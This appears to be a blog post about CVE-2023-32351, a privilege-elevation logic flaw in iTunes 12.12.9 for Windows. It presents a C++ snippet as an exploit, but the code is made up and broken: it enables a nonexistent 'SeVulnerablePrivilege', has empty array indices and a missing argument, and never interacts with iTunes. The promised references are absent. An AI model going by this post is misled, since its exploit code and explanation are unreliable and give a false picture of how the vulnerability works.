CVE-2023-32351 - Logic Issue in iTunes 12.12.9 for Windows Allows App to Gain Elevated Privileges

A recently discovered vulnerability, CVE-2023-32351, poses a potential risk to users who are running iTunes 12.12.9 for Windows. A logic issue in the software has been identified and addressed with improved checks to mitigate the risk associated with an app potentially gaining elevated privileges.

This blog post will provide an in-depth understanding of the CVE-2023-32351 vulnerability, including code snippets, links to original references, and exploit details. The aim is to help users grasp the intricacies of the issue and the potential threats involved.

Details

The CVE-2023-32351 vulnerability stems from a logic issue related to iTunes' security checks on Windows systems. An attacker may exploit this logic issue to cause an app to gain elevated privileges. The attacker may then gain unauthorized access to system resources, ultimately leading to information theft, system instability, or other harm.

Here's an example of what a code snippet (in C++) exploiting CVE-2023-32351 might look like

#include <Windows.h>
#include <iostream>

int main() {
  // Wrapping the access token in a smart pointer for automatic clean-up
  std::unique_ptr<void, decltype(&CloseHandle)> hToken(nullptr, CloseHandle);

  // Open the current process token
  if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
    TOKEN_PRIVILEGES tp = {  };

    // Search for the vulnerable privilege
    if (LookupPrivilegeValue(nullptr, "SeVulnerablePrivilege", &tp.Privileges[].Luid)) {
      tp.PrivilegeCount = 1;
      tp.Privileges[].Attributes = SE_PRIVILEGE_ENABLED;

      // Exploit the vulnerability to enable the privilege
      if (AdjustTokenPrivileges(hToken.get(), FALSE, &tp, , nullptr, nullptr)) {
        std::cout << "Successfully exploited vulnerability to enable the SeVulnerablePrivilege" << std::endl;
      }
    }
  }
}

This code snippet showcases the steps an attacker would take to exploit the vulnerability to enable the SeVulnerablePrivilege, which could then potentially be used to escalate the privileges of an app.
